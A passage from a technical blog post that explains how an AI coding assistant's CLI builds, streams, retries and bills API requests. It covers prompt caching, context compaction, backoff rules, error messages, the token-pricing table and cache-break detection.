&lt;p&gt;The system prompt also has a priority hierarchy. An override replaces everything (used by the API parameter). Otherwise: agent-specific prompts (for subagents) &amp;gt; custom prompts (user-specified) &amp;gt; default prompt. An append prompt (from settings like CLAUDE.md) is always added at the end, regardless of which base prompt was selected. This means your CLAUDE.md instructions survive even when the system switches to a subagent prompt.&lt;/p&gt;

&lt;h3&gt;
  
  
  Messages
&lt;/h3&gt;

&lt;p&gt;The internal conversation history is a rich format with UUIDs, timestamps, tool metadata, and attachment links. The API expects a simpler format: alternating user/assistant messages with typed content blocks.&lt;/p&gt;

&lt;p&gt;Two conversion functions transform the internal format. Both clone their content arrays before modification — a defensive pattern that prevents the API serialization layer from accidentally mutating the in-memory conversation state. This matters because the same message objects get reused across retry attempts and displayed in the UI.&lt;/p&gt;

&lt;p&gt;Before conversion, messages pass through a compression pipeline that runs on every API call:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Tool result budgeting&lt;/strong&gt; — Caps the total size of tool results per message. A tool that returned 50KB of output gets truncated.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;History snipping&lt;/strong&gt; — Removes the oldest messages when the conversation exceeds a threshold.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Microcompaction&lt;/strong&gt; — Clears stale tool results (file reads, shell output, search results) when the prompt cache has expired and they'll be re-tokenized anyway.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Context collapse&lt;/strong&gt; — Applies staged summarization to older conversation segments.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Autocompaction&lt;/strong&gt; — Full model-based conversation summary when approaching the context limit.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;After conversion, additional cleanup runs:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Tool result pairing&lt;/strong&gt; — Every &lt;code&gt;tool_use&lt;/code&gt; block from the model must have a matching &lt;code&gt;tool_result&lt;/code&gt;. Orphaned tool uses (from aborts, fallbacks, or compaction) get synthetic placeholder results. The API rejects unpaired blocks, and this failure mode is subtle enough that it has dedicated diagnostic logging.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Media stripping&lt;/strong&gt; — Caps total media items (images, PDFs) at 100 per request. Earlier items are stripped first. This prevents conversations that accumulate many screenshots from exceeding payload limits.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Prompt Caching
&lt;/h3&gt;

&lt;p&gt;Caching is the most financially significant optimization. On a long session, 90%+ of input tokens may be cache reads. The difference: on a $5/Mtok model, cache reads cost $0.50/Mtok — a 90% discount.&lt;/p&gt;

&lt;p&gt;The client places cache markers (&lt;code&gt;cache_control&lt;/code&gt; directives) at two levels:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;System prompt blocks&lt;/strong&gt;: Every block gets a marker. The server caches them as a unit.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Message history&lt;/strong&gt;: A single breakpoint at the last message (or second-to-last if skip-write is set). Everything before this point is eligible for caching.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Tool results that appear before the cache breakpoint get &lt;code&gt;cache_reference&lt;/code&gt; tags linking them to their tool use IDs. This enables server-side cache editing — the server can delete a specific cached tool result without invalidating the entire prefix. This is how the system reclaims space from old tool results while keeping the cache warm.&lt;/p&gt;

&lt;p&gt;Cache control details vary by eligibility:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;ephemeral&lt;/span&gt;
&lt;span class="na"&gt;ttl&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;5 minutes (default) or 1 hour (for eligible users)&lt;/span&gt;
&lt;span class="na"&gt;scope&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;global (shared across sessions) or unset&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The 1-hour TTL is gated on subscriber status (not in overage) AND an allowlist of query sources. The allowlist uses prefix matching — &lt;code&gt;repl_main_thread*&lt;/code&gt; covers all output style variants. This prevents background queries (title generation, suggestions) from claiming expensive 1-hour cache slots.&lt;/p&gt;

&lt;h3&gt;
  
  
  Tools, Thinking, and Extra Parameters
&lt;/h3&gt;

&lt;p&gt;Each tool gets serialized to a JSON schema with name, description, and input schema. MCP tools can be deferred — the model sees the tool name but requests full details on demand, reducing the upfront token cost when dozens of MCP tools are connected.&lt;/p&gt;

&lt;p&gt;Thinking has three modes. &lt;strong&gt;Adaptive&lt;/strong&gt;: the model decides how much to reason (latest models only). &lt;strong&gt;Budget&lt;/strong&gt;: a fixed token budget for thinking. &lt;strong&gt;Disabled&lt;/strong&gt;: no thinking blocks. When thinking is enabled, the API rejects requests that also set &lt;code&gt;temperature&lt;/code&gt;, so the client forces temperature to undefined.&lt;/p&gt;

&lt;p&gt;The request body also carries: a speed parameter for fast mode (same model, faster inference, higher cost), an effort level, structured output format, task budgets for auto-continuation, feature flag beta headers, and extra body parameters parsed from an environment variable (for enterprise configurations like anti-distillation).&lt;/p&gt;

&lt;h3&gt;
  
  
  The Actual Call
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nf"&gt;create&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="nx"&gt;parameters&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;stream&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="nx"&gt;options&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;abort_signal&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nl"&gt;client_request_id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;random_uuid&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;with_response&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Always streaming. Always with an abort signal. The &lt;code&gt;.with_response()&lt;/code&gt; call extracts both the event stream and the raw HTTP response object. The raw response is needed for header inspection — rate limit status, cache metrics, and request IDs all come from response headers, not the stream body.&lt;/p&gt;

&lt;p&gt;The client request ID is a UUID generated per call. It exists because timeout errors return no server-side request ID. When a request times out after 10 minutes, this is the only way to correlate the client failure with server-side logs.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Client
&lt;/h2&gt;

&lt;p&gt;Before any request fires, a factory function creates the SDK client. The client is provider-specific:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Direct API&lt;/strong&gt;: API key or OAuth token authentication&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;AWS Bedrock&lt;/strong&gt;: AWS credentials (bearer token, IAM, or STS session)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Azure Foundry&lt;/strong&gt;: Azure AD credentials or API key&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Google Vertex AI&lt;/strong&gt;: Google Application Default Credentials with per-model region routing&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;All four providers return the same base type, so downstream code doesn't branch on provider. The provider-specific complexity is confined to the factory.&lt;/p&gt;

&lt;p&gt;A design trade-off in the Vertex setup: the Google auth library's auto-detection hits the GCE metadata server when no credentials are configured, which hangs for 12 seconds on non-GCE machines. The client checks environment variables and credential file paths first, only falling back to the metadata-server path when neither is present. This trades a longer code path for avoiding a 12-second hang in the common case.&lt;/p&gt;

&lt;p&gt;Every request carries session-identifying headers: an app identifier (&lt;code&gt;cli&lt;/code&gt;), a session ID, the SDK version, and optionally a container ID for remote environments. Custom headers from an environment variable (newline-separated &lt;code&gt;Name: Value&lt;/code&gt; format) are merged in. For first-party API calls, the SDK's fetch function is wrapped to inject the client request ID and log the request path for debugging.&lt;/p&gt;

&lt;h2&gt;
  
  
  Streaming
&lt;/h2&gt;

&lt;h3&gt;
  
  
  What the User Sees
&lt;/h3&gt;

&lt;p&gt;While the API call is in flight, the user sees a spinner with live feedback. The spinner shows the current mode ("Thinking...", "Reading files...", "Running tools..."), an approximate token count updated in real-time as stream chunks arrive, and the elapsed time. If the stream stalls for more than 3 seconds, the spinner changes to indicate the stall visually. If the stall exceeds 30 seconds, the UI offers a contextual tip.&lt;/p&gt;

&lt;p&gt;During retries, the user sees a countdown: "Retrying in X seconds..." with the current attempt number and maximum retries. This is the retry generator's yielded status messages being rendered — the async generator architecture means the UI stays responsive even during long backoff waits.&lt;/p&gt;

&lt;p&gt;When a rate limit warning is active, the notification bar shows utilization percentage and reset time. When context runs low, a token warning shows remaining capacity and distance to the auto-compact threshold. When a model fallback occurs, a system message appears explaining the switch.&lt;/p&gt;

&lt;p&gt;All of this feedback comes from the same event stream — the query loop yields events (stream chunks, retry status, error messages, compaction summaries) and the UI renders them in real-time. Nothing blocks on the complete response.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Event Protocol
&lt;/h3&gt;

&lt;p&gt;The response arrives as server-sent events:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;message_start     → initialize, extract initial usage
content_block_start → begin text / thinking / tool_use block
content_block_delta → accumulate content chunks
content_block_stop  → finalize block
message_delta     → update total usage, set stop reason
message_stop      → end of stream
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Text deltas are concatenated. Tool use inputs arrive as JSON fragments that are reassembled into a complete JSON object by the final &lt;code&gt;content_block_stop&lt;/code&gt;. Thinking blocks accumulate both thinking text and a cryptographic signature (for verification).&lt;/p&gt;

&lt;h3&gt;
  
  
  The Idle Watchdog
&lt;/h3&gt;

&lt;p&gt;A timer tracks the interval between stream chunks. If no data arrives for 90 seconds, the request is aborted. A warning fires at 45 seconds. This catches a failure mode that TCP timeouts don't: the connection is alive (TCP keepalives succeed) but the server has stopped sending data. Without the watchdog, the client would hang silently for the full 10-minute request timeout.&lt;/p&gt;

&lt;p&gt;The 90-second threshold is configurable via environment variable. The trade-off: too short and you abort legitimate long-thinking responses; too long and you waste minutes on hung connections.&lt;/p&gt;

&lt;h3&gt;
  
  
  Streaming Tool Execution
&lt;/h3&gt;

&lt;p&gt;When the model emits a tool use block, tool execution can start immediately — while the model might still be generating text or additional tool calls. If the model makes three tool calls and each takes 5 seconds, sequential execution adds 15 seconds. With streaming execution, the first tool starts as soon as it's emitted, and all three may finish by the time the response completes.&lt;/p&gt;

&lt;p&gt;If a model fallback occurs mid-stream (3 consecutive overload errors trigger a switch to a fallback model), the streaming executor's pending results are discarded. Tools are re-executed after the fallback response arrives. This prevents stale results from a partially-failed request from contaminating the fallback response.&lt;/p&gt;

&lt;h3&gt;
  
  
  Resource Cleanup
&lt;/h3&gt;

&lt;p&gt;When streaming ends — normally, on error, or on abort — the client explicitly releases resources: the SDK stream object is cleaned up, and the HTTP response body is cancelled. This is a defensive pattern against connection pool exhaustion. In a long session with hundreds of tool loops, each API call opens a connection. Without explicit cleanup, idle connections accumulate until the pool is full and new requests fail with connection errors.&lt;/p&gt;

&lt;h3&gt;
  
  
  Post-Response Recovery
&lt;/h3&gt;

&lt;p&gt;When the model responds but the response is problematic (no tool calls, but an error condition), the query loop has fallback strategies before surfacing the error:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Prompt too long&lt;/strong&gt;: First, drain any staged context collapses. If that doesn't free enough space, try reactive compaction — an aggressive, single-shot compression of the conversation. If that also fails, surface the error with a &lt;code&gt;/compact&lt;/code&gt; hint.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Max output tokens hit&lt;/strong&gt;: First, try escalating from 8K to 64K output tokens (one-time). If still hitting limits, inject a "Resume directly from where you left off" message and retry. Maximum 3 retries. This handles the case where the model's response is legitimately long (a large code generation) rather than pathologically stuck.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Media size errors&lt;/strong&gt;: Try reactive compaction with media stripping — removing images and documents that pushed the request over the payload limit.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Each strategy is tried once per error type. The system doesn't loop on recovery.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Retry Wrapper
&lt;/h2&gt;

&lt;p&gt;Every API call is wrapped in a retry generator. It yields status messages during waits (so the UI can show "Retrying in X seconds...") and returns the final result on success.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Decision Tree
&lt;/h3&gt;

&lt;p&gt;When an error occurs, the handler walks through a priority-ordered sequence:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;User abort&lt;/strong&gt; → Throw immediately. No retry.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fast mode + rate limit (429) or overload (529)&lt;/strong&gt; → Check the retry-after header:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Under 20 seconds: Wait and retry at fast speed. This preserves the prompt cache — switching speed would change the model identifier and break the cache.&lt;/li&gt;
&lt;li&gt;Over 20 seconds or unknown: Enter a cooldown period (minimum 10 minutes). During cooldown, requests use standard speed. This prevents spending 6x the cost on retries during extended overload.&lt;/li&gt;
&lt;li&gt;If the server signals that overage isn't available (via a specific header), fast mode is permanently disabled for the session.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Overload (529) from a background source&lt;/strong&gt; → Drop immediately. Background work (title generation, suggestions, classifiers) doesn't deserve retries during a capacity crisis. Each retry is 3–10x gateway amplification. The user never sees background failures anyway. New query sources default to no-retry — they must be explicitly added to a foreground allowlist.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Consecutive 529 counter&lt;/strong&gt; → After 3 consecutive overload errors, trigger a model fallback if one is configured. The counter persists across streaming-to-nonstreaming fallback transitions (a streaming 529 pre-seeds the counter for the non-streaming retry loop). Without a fallback model, external users get "Repeated 529 Overloaded errors" and the request fails.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Authentication errors&lt;/strong&gt; → Re-create the entire SDK client. OAuth token expired (401)? Refresh it. OAuth revoked (403 + specific message)? Force re-login. AWS credentials expired? Clear the credential cache. GCP token invalid? Refresh credentials. The retry gets a fresh client with fresh credentials.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Stale connection (ECONNRESET/EPIPE)&lt;/strong&gt; → Disable HTTP keep-alive (behind a feature flag) and reconnect. Keep-alive is normally desirable, but a stale pooled connection that repeatedly resets is worse than the overhead of new connections.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Context overflow (input + max_tokens &amp;gt; limit)&lt;/strong&gt; → Parse the error for exact token counts, calculate available space with a safety buffer, adjust the max_tokens parameter, and retry. A floor of 3,000 tokens prevents the model from having zero room to respond. If thinking is enabled, the adjustment ensures the thinking budget isn't silently eliminated.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Everything else&lt;/strong&gt; → Check if retryable (connection errors, 408, 409, 429, 5xx → yes; 400, 404 → no). Calculate delay. Sleep. Retry.&lt;/p&gt;

&lt;h3&gt;
  
  
  Backoff
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;base_delay&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;min&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;500&lt;/span&gt;&lt;span class="n"&gt;ms&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;attempt&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;max_delay&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;jitter&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;random&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mf"&gt;0.25&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;base_delay&lt;/span&gt;
&lt;span class="n"&gt;delay&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;base_delay&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;jitter&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The jitter is 0-25% of the base, preventing thundering herd when many clients retry simultaneously. If the server sends a &lt;code&gt;Retry-After&lt;/code&gt; header, that value overrides the calculated delay.&lt;/p&gt;

&lt;p&gt;Three backoff modes exist:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Normal&lt;/strong&gt;: Up to 10 attempts, max delay grows with attempts.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Persistent&lt;/strong&gt; (headless/unattended sessions): Retries 429 and 529 indefinitely with a 5-minute cap. Long sleeps are chunked into 30-second intervals, and each chunk yields a status message so the host environment doesn't kill the session for inactivity. A 6-hour absolute cap prevents pathological loops.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Rate-limited with reset timestamp&lt;/strong&gt;: The server sends an &lt;code&gt;anthropic-ratelimit-unified-reset&lt;/code&gt; header with the Unix timestamp when the rate limit window resets. The client sleeps until that exact time rather than polling with exponential backoff.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  The x-should-retry Header
&lt;/h3&gt;

&lt;p&gt;The server can explicitly tell the client whether to retry via &lt;code&gt;x-should-retry: true|false&lt;/code&gt;. But the client doesn't always obey:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Subscribers hitting rate limits&lt;/strong&gt;: The server says "retry: true" (the limit resets in hours). But the client says no — waiting hours is not useful. Enterprise users are an exception because they typically use pay-as-you-go rather than window-based limits.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Internal users on 5xx errors&lt;/strong&gt;: The server may say "retry: false" (the error is deterministic). But internal users can ignore this for server errors specifically, because internal infrastructure sometimes returns transient 5xx errors that resolve on retry.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Remote environments on 401/403&lt;/strong&gt;: Infrastructure-provided JWTs can fail transiently (auth service flap, network hiccup). The server says "don't retry with the same bad key" — but the key isn't bad, the auth service is flapping. So the client retries anyway.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Each of these is a case where the client has context the server doesn't. The server sees "this request failed with status X." The client knows "I'm a subscriber who can't wait 5 hours" or "my auth is infrastructure-managed, not user-provided."&lt;/p&gt;

&lt;h2&gt;
  
  
  Error Classification
&lt;/h2&gt;

&lt;p&gt;When retries are exhausted, the error is converted into a user-facing message with a recovery action. Over 20 specific error patterns map to targeted messages:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Pattern&lt;/th&gt;
&lt;th&gt;User Sees&lt;/th&gt;
&lt;th&gt;Recovery&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Context too long with token counts&lt;/td&gt;
&lt;td&gt;"Prompt is too long"&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/compact&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Model not available&lt;/td&gt;
&lt;td&gt;Subscription-aware message&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/model&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;API key invalid&lt;/td&gt;
&lt;td&gt;"Not logged in"&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/login&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;OAuth revoked&lt;/td&gt;
&lt;td&gt;"Token revoked"&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/login&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Credits exhausted&lt;/td&gt;
&lt;td&gt;"Credit balance too low"&lt;/td&gt;
&lt;td&gt;Add credits&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Rate limit with reset time&lt;/td&gt;
&lt;td&gt;Per-plan message&lt;/td&gt;
&lt;td&gt;Wait or &lt;code&gt;/upgrade&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PDF exceeds page limit&lt;/td&gt;
&lt;td&gt;Size limit shown&lt;/td&gt;
&lt;td&gt;Reduce pages&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Image too large&lt;/td&gt;
&lt;td&gt;Dimension limit shown&lt;/td&gt;
&lt;td&gt;Resize&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Bedrock model access denied&lt;/td&gt;
&lt;td&gt;Model access guidance&lt;/td&gt;
&lt;td&gt;Request access&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Request timeout&lt;/td&gt;
&lt;td&gt;"Request timed out"&lt;/td&gt;
&lt;td&gt;Retry&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Messages are context-sensitive. Interactive sessions show keyboard shortcuts ("esc esc" to abort). SDK sessions show generic text. Subscription users get different error messages than API key users. Internal users get a Slack channel link for rapid triage.&lt;/p&gt;

&lt;p&gt;Separately, every error gets classified into one of 25 analytics types (&lt;code&gt;rate_limit&lt;/code&gt;, &lt;code&gt;prompt_too_long&lt;/code&gt;, &lt;code&gt;server_overload&lt;/code&gt;, &lt;code&gt;auth_error&lt;/code&gt;, &lt;code&gt;ssl_cert_error&lt;/code&gt;, &lt;code&gt;unknown&lt;/code&gt;, etc.) for aggregate monitoring. This dual classification — human-readable + machine-readable — lets the same error inform both the user and the engineering dashboard.&lt;/p&gt;

&lt;h3&gt;
  
  
  The 529 Detection Problem
&lt;/h3&gt;

&lt;p&gt;The SDK sometimes fails to pass the 529 status code during streaming. The server sends 529, but by the time the error reaches the client, the status field may be undefined or different. The client works around this by also checking the error message body for the string &lt;code&gt;"type":"overloaded_error"&lt;/code&gt;. This string-matching fallback is fragile — if the API changes the error format, it breaks — but it catches a real class of misclassified overload errors that the status code alone misses.&lt;/p&gt;

&lt;p&gt;Similarly, the "fast mode not enabled" error is detected by string-matching the error message (&lt;code&gt;"Fast mode is not enabled"&lt;/code&gt;). The code includes a comment noting this should be replaced with a dedicated response header once the API adds one. String-matching error messages is a known anti-pattern, but when the alternative is failing to detect a recoverable error, fragility is the better trade-off.&lt;/p&gt;

&lt;h2&gt;
  
  
  Token Counting and Cost Tracking
&lt;/h2&gt;

&lt;h3&gt;
  
  
  How Tokens Are Counted
&lt;/h3&gt;

&lt;p&gt;The canonical context size function combines two sources:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;API-reported usage&lt;/strong&gt;: Walk backward through messages to find the last assistant message with a &lt;code&gt;usage&lt;/code&gt; field. This is the server's authoritative token count at that point.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Client-side estimation&lt;/strong&gt;: For messages added after the last API response (the user's new message, any attachment messages), estimate tokens using heuristics: ~4 characters per token for text, 2,000 tokens flat for images, tool name + serialized input length for tool use blocks. Pad by 33%.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The estimation is intentionally conservative. Overestimating triggers compaction too early (wastes a few tokens of capacity). Underestimating triggers a prompt-too-long error (wastes an entire API call).&lt;/p&gt;

&lt;p&gt;A subtlety with parallel tool calls: when the model makes N tool calls in one response, streaming emits N separate assistant records sharing the same response ID. The query loop interleaves tool results between them: &lt;code&gt;[assistant(id=A), tool_result, assistant(id=A), tool_result, ...]&lt;/code&gt;. The token counter must walk back to the FIRST message with the matching ID so all interleaved tool results are included. Stopping at the last one would miss them and undercount.&lt;/p&gt;

&lt;h3&gt;
  
  
  Cost Calculation
&lt;/h3&gt;

&lt;p&gt;A per-model pricing table maps model identifiers to rates:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sonnet (3.5 through 4.6):  $3 / $15  per million tokens (input/output)
opus 4/4.1:                $15 / $75
opus 4.5/4.6:              $5 / $25
opus 4.6 fast:             $30 / $150
haiku 4.5:                 $1 / $5
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Cache reads cost 10% of input price. Cache writes cost 125% of input price. The formula:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;cost&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;input&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="n"&gt;M&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;input_rate&lt;/span&gt;
     &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;output&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="n"&gt;M&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;output_rate&lt;/span&gt;
     &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cache_read&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="n"&gt;M&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;cache_read_rate&lt;/span&gt;
     &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cache_write&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="n"&gt;M&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;cache_write_rate&lt;/span&gt;
     &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;web_searches&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="mf"&gt;0.01&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Fast mode pricing is determined by the server, not the client. The API response includes a &lt;code&gt;speed&lt;/code&gt; field in usage data. If the server processed the request at standard speed despite a fast-mode request (possible during overload), you pay standard rates. The client trusts this field for billing rather than its own request parameter.&lt;/p&gt;

&lt;p&gt;Costs are persisted per-session. On session resume, the client checks that the saved session ID matches before restoring — preventing one session's costs from bleeding into another. Unknown models (new model IDs not yet in the table) fall back to the Opus 4.5/4.6 tier and fire an analytics event so the table can be updated.&lt;/p&gt;

&lt;h2&gt;
  
  
  Cache Break Detection
&lt;/h2&gt;

&lt;p&gt;A cache break means the server couldn't read the cached prefix and had to re-process all input tokens. On a 100K-token conversation, that's the difference between paying for 5K tokens (cache read) and 100K tokens (full write). Silent cache breaks are an invisible cost multiplier.&lt;/p&gt;

&lt;p&gt;The detection system uses two phases:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Pre-call&lt;/strong&gt;: Before each API call, snapshot the state — hashes of the system prompt, tool schemas, cache control config, model name, speed mode, beta headers, effort level, and extra body parameters.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Post-call&lt;/strong&gt;: After the response, compare cache read tokens to the previous call's value. If reads dropped by more than 2,000 tokens and didn't reach 95% of the previous value, flag a cache break.&lt;/p&gt;

